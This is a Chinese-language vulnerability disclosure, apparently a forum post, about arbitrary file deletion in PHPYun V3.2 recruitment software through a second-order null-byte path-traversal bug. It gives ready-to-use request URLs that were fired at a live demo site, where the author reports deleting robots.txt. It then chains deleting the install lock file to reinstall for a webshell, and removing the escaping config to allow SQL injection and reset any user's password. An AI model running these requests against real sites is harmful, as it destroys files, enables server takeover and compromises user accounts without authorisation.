http://www.phpyun.com/bbs/thread-8149-1-1.html //20141222
http://www.phpyun.com/PHP%E4%BA%91%E4%BA%BA%E6%89%8D%E6%8B%9B%E8%81%98%E7%B3%BB%E7%BB%9FV3.2_Beta.rar
最新版本的phpyun下载地址
在friend/model/index.class.php中
因为全局有转义, 所以$new_avatar_path没办法截断
$this->obj->update_once("friend_info",array("pic_big"=>"../".$new_avatar_path),array("uid"=>$this->uid)) 但是这里有一个入库。
入库了 然后再把 $this->obj->unlink_pic($row['pic_big']);//删除图片
出库出来的删掉。 所以我们可以再次截断了。 所以这个截断也无视GPC啥的。
用phpyun的demo hr135.com测试 首先注册一个会员 然后请求
www.hr135.com//friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../robots.txt%00
这样先转义入库了。 然后就按照这样再请求一次。
www.hr135.com//friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../robots.txt%00
再请求一次 出库, 然后就又能截断 成功删除了robots.txt
测试的时候把demo的robots.txt删掉了 http://www.hr135.com/robots.txt 已经404了。
你们自己添加上去一下把。
进一步的利用的话 我们可以先删除lock 然后重装进行getshell
/friend/index.php?m=index&c=save_avatar&photoId=1.jpg&type=xxx/../../../data/phpyun.lock%00
这个需要请求两次。
成功GETSHELL。
____________________________________________________________________
第二处在 member/com/model/show.class.php中
因为这里是update 所以要先入库一个
在model/user.php中
文件名不可控 再回来update里来
这里因为unlink_pic 限制了必须为jpg后缀之类的 这里我们截断一下
成功删除根目录的文件。
_____________________________________________________________________
第三处
member/user/model/show.class.php //跟上面一个相同的原理 不过是因为一个是企业会员操作的 一个是个人会员操作的、 这里代码我都不贴了 你们自己查把。
第四处
member/user/model/resume.class.php
入库也在/member/user/model/show.class.php
function upshow_action(){ 也是因为用户可控了。
___________________________________________________________________________
这里来搞一下注入
首先我们用上面的方法删除data/db.safety.php 这个参照上面的方法 就不多说了。
首先删除data/db.safety.php 后 就不会转义了 那么我们就能引入单引号了。
再找一个不会对查询转义的函数就行了。
在model/forgetpw.class.php中
在满足这些条件后 甚至可以改任意用户的密码